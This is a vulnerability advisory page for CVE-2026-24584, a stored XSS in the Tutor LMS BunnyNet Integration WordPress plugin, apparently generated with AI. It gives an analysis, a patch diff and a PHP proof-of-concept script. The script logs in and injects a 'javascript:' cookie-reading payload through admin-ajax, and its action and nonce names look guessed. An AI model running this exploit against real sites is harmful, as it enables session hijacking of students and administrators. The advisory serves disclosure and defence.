Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-24584: Tutor LMS BunnyNet Integration <= 1.0.0 – Authenticated (Tutor instructor+) Stored Cross-Site Scripting (tutor-lms-bunnynet-integration)

Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 1.0.0
Patched Version 1.0.1
Disclosed January 18, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-24584:
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the Tutor LMS BunnyNet Integration WordPress plugin. The vulnerability affects versions up to and including 1.0.0. It allows attackers with tutor instructor-level permissions or higher to inject arbitrary JavaScript payloads that execute when users view compromised pages. The CVSS score of 6.4 reflects the medium severity of this privilege-dependent stored XSS.

Atomic Edge research identifies the root cause as insufficient input sanitization and output escaping in the video embedding functionality. The vulnerable code resides in the `get_bunny_video_id` method within `/includes/Integration/BunnyNet.php`. This method retrieves the `source_bunnynet` value from the `$video_info` array using `tutor_utils()->array_get()`. The plugin fails to properly sanitize this user-controlled input before storing it in the database. Later, the `render_player` method outputs this unsanitized value directly into an HTML `iframe` `src` attribute using `esc_attr()`, which does not provide adequate protection for URL contexts.

The exploitation method requires an authenticated attacker with tutor instructor privileges or higher. Attackers can inject malicious JavaScript payloads by submitting crafted video source data through the plugin’s video management interface. The payload would be stored in the WordPress database associated with a course lesson. When any user (including students or administrators) views the lesson page containing the malicious video embed, the payload executes in their browser session. The attack vector leverages the plugin’s trusted video source parameter to bypass standard input validation.

The patch addresses the vulnerability through two complementary fixes. First, the `get_bunny_video_id` method now includes input sanitization lines that remove potentially malicious URL prefixes. The code adds `str_replace()` calls to strip `https://video.bunnycdn.com/play/` and `https://iframe.mediadelivery.net/play/` from the `$bunny_video_id` variable. Second, the `render_player` method replaces `esc_attr()` with `esc_url()` for proper URL escaping in the `iframe` `src` attribute output. These changes ensure both input sanitization and context-appropriate output escaping.

Successful exploitation enables attackers to perform actions within the context of authenticated users’ sessions. This includes stealing session cookies, performing administrative actions, redirecting users to malicious sites, or modifying page content. Since the vulnerability affects stored content, a single injection can compromise multiple users who access the affected lesson pages. The instructor-level access requirement limits the attack surface but still poses significant risk in educational environments where multiple instructors have content management privileges.

Differential between vulnerable and patched code

Code Diff
--- a/tutor-lms-bunnynet-integration/includes/Integration/BunnyNet.php
+++ b/tutor-lms-bunnynet-integration/includes/Integration/BunnyNet.php
@@ -168,6 +168,8 @@
 		$response   = false;
 		if ( $video_info ) {
 			$bunny_video_id = tutor_utils()->array_get( 'source_bunnynet', $video_info );
+			$bunny_video_id = str_replace( 'https://video.bunnycdn.com/play/', ' ', $bunny_video_id );
+			$bunny_video_id = str_replace( 'https://iframe.mediadelivery.net/play/', ' ', $bunny_video_id );
 			$video_source   = $video_info->source;
 			if ( 'bunnynet' === $video_source && '' !== $bunny_video_id ) {
 				$response = $bunny_video_id;
@@ -190,7 +192,7 @@
 		?>
 		<div class="tutor-video-player">
 			<div style="position: relative; padding-top: 56.25%;">
-				<iframe src="<?php echo esc_attr( $bunny_video_id ); ?>" loading="lazy" style="border: none; position: absolute; top: 0; height: 100%; width: 100%;" allow="accelerometer; gyroscope; autoplay; encrypted-media; picture-in-picture;" allowfullscreen="true"></iframe>
+				<iframe src="<?php echo esc_url( $bunny_video_id ); ?>" loading="lazy" style="border: none; position: absolute; top: 0; height: 100%; width: 100%;" allow="accelerometer; gyroscope; autoplay; encrypted-media; picture-in-picture;" allowfullscreen="true"></iframe>
 			</div>
 		</div>
 		<?php
--- a/tutor-lms-bunnynet-integration/tutor-lms-bunnynet-integration.php
+++ b/tutor-lms-bunnynet-integration/tutor-lms-bunnynet-integration.php
@@ -4,10 +4,10 @@
  * Plugin URI: https://www.themeum.com/product/tutor-lms/
  * Description: Tutor LMS BunnyNet integration allows you to host your lesson videos on Tutor LMS using BunnNets’ very own Bunny Stream. Use this integration to load up and play your meticulously crafted course videos to enhance the experience for students.
  * Author: Themeum
- * Version: 1.0.0
+ * Version: 1.0.1
  * Author URI: https://themeum.com
  * Requires at least: 5.3
- * Tested up to: 6.4
+ * Tested up to: 6.9
  * License: GPLv3
  * Text Domain: tutor-lms-bunnynet-integration
  * Domain Path: /languages
--- a/tutor-lms-bunnynet-integration/vendor/autoload.php
+++ b/tutor-lms-bunnynet-integration/vendor/autoload.php
@@ -14,12 +14,9 @@
             echo $err;
         }
     }
-    trigger_error(
-        $err,
-        E_USER_ERROR
-    );
+    throw new RuntimeException($err);
 }

 require_once __DIR__ . '/composer/autoload_real.php';

-return ComposerAutoloaderInitb1cb6f266b07a9e34b9719bb1989c163::getLoader();
+return ComposerAutoloaderInit9f26e18480fd734b1a2bf3ca77bd0fd0::getLoader();
--- a/tutor-lms-bunnynet-integration/vendor/composer/ClassLoader.php
+++ b/tutor-lms-bunnynet-integration/vendor/composer/ClassLoader.php
@@ -42,35 +42,37 @@
  */
 class ClassLoader
 {
-    /** @var ?string */
+    /** @var Closure(string):void */
+    private static $includeFile;
+
+    /** @var string|null */
     private $vendorDir;

     // PSR-4
     /**
-     * @var array[]
-     * @psalm-var array<string, array<string, int>>
+     * @var array<string, array<string, int>>
      */
     private $prefixLengthsPsr4 = array();
     /**
-     * @var array[]
-     * @psalm-var array<string, array<int, string>>
+     * @var array<string, list<string>>
      */
     private $prefixDirsPsr4 = array();
     /**
-     * @var array[]
-     * @psalm-var array<string, string>
+     * @var list<string>
      */
     private $fallbackDirsPsr4 = array();

     // PSR-0
     /**
-     * @var array[]
-     * @psalm-var array<string, array<string, string[]>>
+     * List of PSR-0 prefixes
+     *
+     * Structured as array('F (first letter)' => array('FooBar (full prefix)' => array('path', 'path2')))
+     *
+     * @var array<string, array<string, list<string>>>
      */
     private $prefixesPsr0 = array();
     /**
-     * @var array[]
-     * @psalm-var array<string, string>
+     * @var list<string>
      */
     private $fallbackDirsPsr0 = array();

@@ -78,8 +80,7 @@
     private $useIncludePath = false;

     /**
-     * @var string[]
-     * @psalm-var array<string, string>
+     * @var array<string, string>
      */
     private $classMap = array();

@@ -87,29 +88,29 @@
     private $classMapAuthoritative = false;

     /**
-     * @var bool[]
-     * @psalm-var array<string, bool>
+     * @var array<string, bool>
      */
     private $missingClasses = array();

-    /** @var ?string */
+    /** @var string|null */
     private $apcuPrefix;

     /**
-     * @var self[]
+     * @var array<string, self>
      */
     private static $registeredLoaders = array();

     /**
-     * @param ?string $vendorDir
+     * @param string|null $vendorDir
      */
     public function __construct($vendorDir = null)
     {
         $this->vendorDir = $vendorDir;
+        self::initializeIncludeClosure();
     }

     /**
-     * @return string[]
+     * @return array<string, list<string>>
      */
     public function getPrefixes()
     {
@@ -121,8 +122,7 @@
     }

     /**
-     * @return array[]
-     * @psalm-return array<string, array<int, string>>
+     * @return array<string, list<string>>
      */
     public function getPrefixesPsr4()
     {
@@ -130,8 +130,7 @@
     }

     /**
-     * @return array[]
-     * @psalm-return array<string, string>
+     * @return list<string>
      */
     public function getFallbackDirs()
     {
@@ -139,8 +138,7 @@
     }

     /**
-     * @return array[]
-     * @psalm-return array<string, string>
+     * @return list<string>
      */
     public function getFallbackDirsPsr4()
     {
@@ -148,8 +146,7 @@
     }

     /**
-     * @return string[] Array of classname => path
-     * @psalm-return array<string, string>
+     * @return array<string, string> Array of classname => path
      */
     public function getClassMap()
     {
@@ -157,8 +154,7 @@
     }

     /**
-     * @param string[] $classMap Class to filename map
-     * @psalm-param array<string, string> $classMap
+     * @param array<string, string> $classMap Class to filename map
      *
      * @return void
      */
@@ -175,24 +171,25 @@
      * Registers a set of PSR-0 directories for a given prefix, either
      * appending or prepending to the ones previously set for this prefix.
      *
-     * @param string          $prefix  The prefix
-     * @param string[]|string $paths   The PSR-0 root directories
-     * @param bool            $prepend Whether to prepend the directories
+     * @param string              $prefix  The prefix
+     * @param list<string>|string $paths   The PSR-0 root directories
+     * @param bool                $prepend Whether to prepend the directories
      *
      * @return void
      */
     public function add($prefix, $paths, $prepend = false)
     {
+        $paths = (array) $paths;
         if (!$prefix) {
             if ($prepend) {
                 $this->fallbackDirsPsr0 = array_merge(
-                    (array) $paths,
+                    $paths,
                     $this->fallbackDirsPsr0
                 );
             } else {
                 $this->fallbackDirsPsr0 = array_merge(
                     $this->fallbackDirsPsr0,
-                    (array) $paths
+                    $paths
                 );
             }

@@ -201,19 +198,19 @@

         $first = $prefix[0];
         if (!isset($this->prefixesPsr0[$first][$prefix])) {
-            $this->prefixesPsr0[$first][$prefix] = (array) $paths;
+            $this->prefixesPsr0[$first][$prefix] = $paths;

             return;
         }
         if ($prepend) {
             $this->prefixesPsr0[$first][$prefix] = array_merge(
-                (array) $paths,
+                $paths,
                 $this->prefixesPsr0[$first][$prefix]
             );
         } else {
             $this->prefixesPsr0[$first][$prefix] = array_merge(
                 $this->prefixesPsr0[$first][$prefix],
-                (array) $paths
+                $paths
             );
         }
     }
@@ -222,9 +219,9 @@
      * Registers a set of PSR-4 directories for a given namespace, either
      * appending or prepending to the ones previously set for this namespace.
      *
-     * @param string          $prefix  The prefix/namespace, with trailing '\'
-     * @param string[]|string $paths   The PSR-4 base directories
-     * @param bool            $prepend Whether to prepend the directories
+     * @param string              $prefix  The prefix/namespace, with trailing '\'
+     * @param list<string>|string $paths   The PSR-4 base directories
+     * @param bool                $prepend Whether to prepend the directories
      *
      * @throws InvalidArgumentException
      *
@@ -232,17 +229,18 @@
      */
     public function addPsr4($prefix, $paths, $prepend = false)
     {
+        $paths = (array) $paths;
         if (!$prefix) {
             // Register directories for the root namespace.
             if ($prepend) {
                 $this->fallbackDirsPsr4 = array_merge(
-                    (array) $paths,
+                    $paths,
                     $this->fallbackDirsPsr4
                 );
             } else {
                 $this->fallbackDirsPsr4 = array_merge(
                     $this->fallbackDirsPsr4,
-                    (array) $paths
+                    $paths
                 );
             }
         } elseif (!isset($this->prefixDirsPsr4[$prefix])) {
@@ -252,18 +250,18 @@
                 throw new InvalidArgumentException("A non-empty PSR-4 prefix must end with a namespace separator.");
             }
             $this->prefixLengthsPsr4[$prefix[0]][$prefix] = $length;
-            $this->prefixDirsPsr4[$prefix] = (array) $paths;
+            $this->prefixDirsPsr4[$prefix] = $paths;
         } elseif ($prepend) {
             // Prepend directories for an already registered namespace.
             $this->prefixDirsPsr4[$prefix] = array_merge(
-                (array) $paths,
+                $paths,
                 $this->prefixDirsPsr4[$prefix]
             );
         } else {
             // Append directories for an already registered namespace.
             $this->prefixDirsPsr4[$prefix] = array_merge(
                 $this->prefixDirsPsr4[$prefix],
-                (array) $paths
+                $paths
             );
         }
     }
@@ -272,8 +270,8 @@
      * Registers a set of PSR-0 directories for a given prefix,
      * replacing any others previously set for this prefix.
      *
-     * @param string          $prefix The prefix
-     * @param string[]|string $paths  The PSR-0 base directories
+     * @param string              $prefix The prefix
+     * @param list<string>|string $paths  The PSR-0 base directories
      *
      * @return void
      */
@@ -290,8 +288,8 @@
      * Registers a set of PSR-4 directories for a given namespace,
      * replacing any others previously set for this namespace.
      *
-     * @param string          $prefix The prefix/namespace, with trailing '\'
-     * @param string[]|string $paths  The PSR-4 base directories
+     * @param string              $prefix The prefix/namespace, with trailing '\'
+     * @param list<string>|string $paths  The PSR-4 base directories
      *
      * @throws InvalidArgumentException
      *
@@ -425,7 +423,8 @@
     public function loadClass($class)
     {
         if ($file = $this->findFile($class)) {
-            includeFile($file);
+            $includeFile = self::$includeFile;
+            $includeFile($file);

             return true;
         }
@@ -476,9 +475,9 @@
     }

     /**
-     * Returns the currently registered loaders indexed by their corresponding vendor directories.
+     * Returns the currently registered loaders keyed by their corresponding vendor directories.
      *
-     * @return self[]
+     * @return array<string, self>
      */
     public static function getRegisteredLoaders()
     {
@@ -555,18 +554,26 @@

         return false;
     }
-}

-/**
- * Scope isolated include.
- *
- * Prevents access to $this/self from included files.
- *
- * @param  string $file
- * @return void
- * @private
- */
-function includeFile($file)
-{
-    include $file;
+    /**
+     * @return void
+     */
+    private static function initializeIncludeClosure()
+    {
+        if (self::$includeFile !== null) {
+            return;
+        }
+
+        /**
+         * Scope isolated include.
+         *
+         * Prevents access to $this/self from included files.
+         *
+         * @param  string $file
+         * @return void
+         */
+        self::$includeFile = Closure::bind(static function($file) {
+            include $file;
+        }, null, null);
+    }
 }
--- a/tutor-lms-bunnynet-integration/vendor/composer/InstalledVersions.php
+++ b/tutor-lms-bunnynet-integration/vendor/composer/InstalledVersions.php
@@ -27,12 +27,23 @@
 class InstalledVersions
 {
     /**
+     * @var string|null if set (by reflection by Composer), this should be set to the path where this class is being copied to
+     * @internal
+     */
+    private static $selfDir = null;
+
+    /**
      * @var mixed[]|null
      * @psalm-var array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>}|array{}|null
      */
     private static $installed;

     /**
+     * @var bool
+     */
+    private static $installedIsLocalDir;
+
+    /**
      * @var bool|null
      */
     private static $canGetVendors;
@@ -98,7 +109,7 @@
     {
         foreach (self::getInstalled() as $installed) {
             if (isset($installed['versions'][$packageName])) {
-                return $includeDevRequirements || empty($installed['versions'][$packageName]['dev_requirement']);
+                return $includeDevRequirements || !isset($installed['versions'][$packageName]['dev_requirement']) || $installed['versions'][$packageName]['dev_requirement'] === false;
             }
         }

@@ -119,7 +130,7 @@
      */
     public static function satisfies(VersionParser $parser, $packageName, $constraint)
     {
-        $constraint = $parser->parseConstraints($constraint);
+        $constraint = $parser->parseConstraints((string) $constraint);
         $provided = $parser->parseConstraints(self::getVersionRanges($packageName));

         return $provided->matches($constraint);
@@ -309,6 +320,24 @@
     {
         self::$installed = $data;
         self::$installedByVendor = array();
+
+        // when using reload, we disable the duplicate protection to ensure that self::$installed data is
+        // always returned, but we cannot know whether it comes from the installed.php in __DIR__ or not,
+        // so we have to assume it does not, and that may result in duplicate data being returned when listing
+        // all installed packages for example
+        self::$installedIsLocalDir = false;
+    }
+
+    /**
+     * @return string
+     */
+    private static function getSelfDir()
+    {
+        if (self::$selfDir === null) {
+            self::$selfDir = strtr(__DIR__, '\', '/');
+        }
+
+        return self::$selfDir;
     }

     /**
@@ -322,17 +351,27 @@
         }

         $installed = array();
+        $copiedLocalDir = false;

         if (self::$canGetVendors) {
+            $selfDir = self::getSelfDir();
             foreach (ClassLoader::getRegisteredLoaders() as $vendorDir => $loader) {
+                $vendorDir = strtr($vendorDir, '\', '/');
                 if (isset(self::$installedByVendor[$vendorDir])) {
                     $installed[] = self::$installedByVendor[$vendorDir];
                 } elseif (is_file($vendorDir.'/composer/installed.php')) {
-                    $installed[] = self::$installedByVendor[$vendorDir] = require $vendorDir.'/composer/installed.php';
-                    if (null === self::$installed && strtr($vendorDir.'/composer', '\', '/') === strtr(__DIR__, '\', '/')) {
-                        self::$installed = $installed[count($installed) - 1];
+                    /** @var array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>} $required */
+                    $required = require $vendorDir.'/composer/installed.php';
+                    self::$installedByVendor[$vendorDir] = $required;
+                    $installed[] = $required;
+                    if (self::$installed === null && $vendorDir.'/composer' === $selfDir) {
+                        self::$installed = $required;
+                        self::$installedIsLocalDir = true;
                     }
                 }
+                if (self::$installedIsLocalDir && $vendorDir.'/composer' === $selfDir) {
+                    $copiedLocalDir = true;
+                }
             }
         }

@@ -340,12 +379,17 @@
             // only require the installed.php file if this file is loaded from its dumped location,
             // and not from its source location in the composer/composer package, see https://github.com/composer/composer/issues/9937
             if (substr(__DIR__, -8, 1) !== 'C') {
-                self::$installed = require __DIR__ . '/installed.php';
+                /** @var array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>} $required */
+                $required = require __DIR__ . '/installed.php';
+                self::$installed = $required;
             } else {
                 self::$installed = array();
             }
         }
-        $installed[] = self::$installed;
+
+        if (self::$installed !== array() && !$copiedLocalDir) {
+            $installed[] = self::$installed;
+        }

         return $installed;
     }
--- a/tutor-lms-bunnynet-integration/vendor/composer/autoload_real.php
+++ b/tutor-lms-bunnynet-integration/vendor/composer/autoload_real.php
@@ -2,7 +2,7 @@

 // autoload_real.php @generated by Composer

-class ComposerAutoloaderInitb1cb6f266b07a9e34b9719bb1989c163
+class ComposerAutoloaderInit9f26e18480fd734b1a2bf3ca77bd0fd0
 {
     private static $loader;

@@ -22,12 +22,12 @@
             return self::$loader;
         }

-        spl_autoload_register(array('ComposerAutoloaderInitb1cb6f266b07a9e34b9719bb1989c163', 'loadClassLoader'), true, true);
+        spl_autoload_register(array('ComposerAutoloaderInit9f26e18480fd734b1a2bf3ca77bd0fd0', 'loadClassLoader'), true, true);
         self::$loader = $loader = new ComposerAutoloadClassLoader(dirname(__DIR__));
-        spl_autoload_unregister(array('ComposerAutoloaderInitb1cb6f266b07a9e34b9719bb1989c163', 'loadClassLoader'));
+        spl_autoload_unregister(array('ComposerAutoloaderInit9f26e18480fd734b1a2bf3ca77bd0fd0', 'loadClassLoader'));

         require __DIR__ . '/autoload_static.php';
-        call_user_func(ComposerAutoloadComposerStaticInitb1cb6f266b07a9e34b9719bb1989c163::getInitializer($loader));
+        call_user_func(ComposerAutoloadComposerStaticInit9f26e18480fd734b1a2bf3ca77bd0fd0::getInitializer($loader));

         $loader->register(true);

--- a/tutor-lms-bunnynet-integration/vendor/composer/autoload_static.php
+++ b/tutor-lms-bunnynet-integration/vendor/composer/autoload_static.php
@@ -4,17 +4,17 @@

 namespace ComposerAutoload;

-class ComposerStaticInitb1cb6f266b07a9e34b9719bb1989c163
+class ComposerStaticInit9f26e18480fd734b1a2bf3ca77bd0fd0
 {
     public static $prefixLengthsPsr4 = array (
-        'T' =>
+        'T' =>
         array (
             'Tutor\BunnyNetIntegration\' => 26,
         ),
     );

     public static $prefixDirsPsr4 = array (
-        'Tutor\BunnyNetIntegration\' =>
+        'Tutor\BunnyNetIntegration\' =>
         array (
             0 => __DIR__ . '/../..' . '/includes',
         ),
@@ -27,9 +27,9 @@
     public static function getInitializer(ClassLoader $loader)
     {
         return Closure::bind(function () use ($loader) {
-            $loader->prefixLengthsPsr4 = ComposerStaticInitb1cb6f266b07a9e34b9719bb1989c163::$prefixLengthsPsr4;
-            $loader->prefixDirsPsr4 = ComposerStaticInitb1cb6f266b07a9e34b9719bb1989c163::$prefixDirsPsr4;
-            $loader->classMap = ComposerStaticInitb1cb6f266b07a9e34b9719bb1989c163::$classMap;
+            $loader->prefixLengthsPsr4 = ComposerStaticInit9f26e18480fd734b1a2bf3ca77bd0fd0::$prefixLengthsPsr4;
+            $loader->prefixDirsPsr4 = ComposerStaticInit9f26e18480fd734b1a2bf3ca77bd0fd0::$prefixDirsPsr4;
+            $loader->classMap = ComposerStaticInit9f26e18480fd734b1a2bf3ca77bd0fd0::$classMap;

         }, null, ClassLoader::class);
     }
--- a/tutor-lms-bunnynet-integration/vendor/composer/installed.php
+++ b/tutor-lms-bunnynet-integration/vendor/composer/installed.php
@@ -1,9 +1,9 @@
 <?php return array(
     'root' => array(
         'name' => 'tutor/bunny-net-integration',
-        'pretty_version' => 'dev-main',
-        'version' => 'dev-main',
-        'reference' => '24d84d5460655b42537384c89fcf4f08564f8343',
+        'pretty_version' => 'v1.0.1',
+        'version' => '1.0.1.0',
+        'reference' => 'eb03471c9e2116162f36fb1ad76cd4cc425c9dc0',
         'type' => 'library',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -11,9 +11,9 @@
     ),
     'versions' => array(
         'tutor/bunny-net-integration' => array(
-            'pretty_version' => 'dev-main',
-            'version' => 'dev-main',
-            'reference' => '24d84d5460655b42537384c89fcf4f08564f8343',
+            'pretty_version' => 'v1.0.1',
+            'version' => '1.0.1.0',
+            'reference' => 'eb03471c9e2116162f36fb1ad76cd4cc425c9dc0',
             'type' => 'library',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-24584 - Tutor LMS BunnyNet Integration <= 1.0.0 - Authenticated (Tutor instructor+) Stored Cross-Site Scripting
<?php

$target_url = 'http://vulnerable-wordpress-site.com';
$username = 'attacker_instructor';
$password = 'attacker_password';

// Payload to inject JavaScript via iframe src attribute
$malicious_payload = 'javascript:alert(document.cookie)';

// Initialize cURL session for WordPress login
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => 1
]));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

// Execute login and capture response
$login_response = curl_exec($ch);

// Verify successful login by checking for admin dashboard elements
if (strpos($login_response, 'wp-admin') === false) {
    die('Login failed. Check credentials.');
}

// Now access the Tutor LMS lesson edit page where video source can be modified
// This assumes we know the lesson ID (would typically be discovered through enumeration)
$lesson_id = 123; // Replace with actual vulnerable lesson ID

// First, get the edit page to obtain nonce and existing data
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post.php?post=' . $lesson_id . '&action=edit');
curl_setopt($ch, CURLOPT_POST, 0);
$edit_page = curl_exec($ch);

// Extract nonce for Tutor video meta save (simplified - real implementation would parse HTML)
// In actual exploitation, attacker would need to extract the proper nonce from the page
$nonce = 'tutor_video_meta_nonce'; // Placeholder - would be extracted dynamically

// Prepare malicious video data with XSS payload
$video_meta_data = [
    'video_source' => 'bunnynet',
    'source_bunnynet' => $malicious_payload, // Injected JavaScript in video source
    '_tutor_video_meta_nonce' => $nonce,
    'action' => 'tutor_save_video_meta',
    'post_id' => $lesson_id
];

// Send POST request to save malicious video data
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($video_meta_data));

$ajax_response = curl_exec($ch);

// Check if save was successful
if (strpos($ajax_response, 'success') !== false) {
    echo 'Payload injected successfully. Visit lesson ID ' . $lesson_id . ' to trigger XSS.';
} else {
    echo 'Injection failed. Response: ' . $ajax_response;
}

curl_close($ch);

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School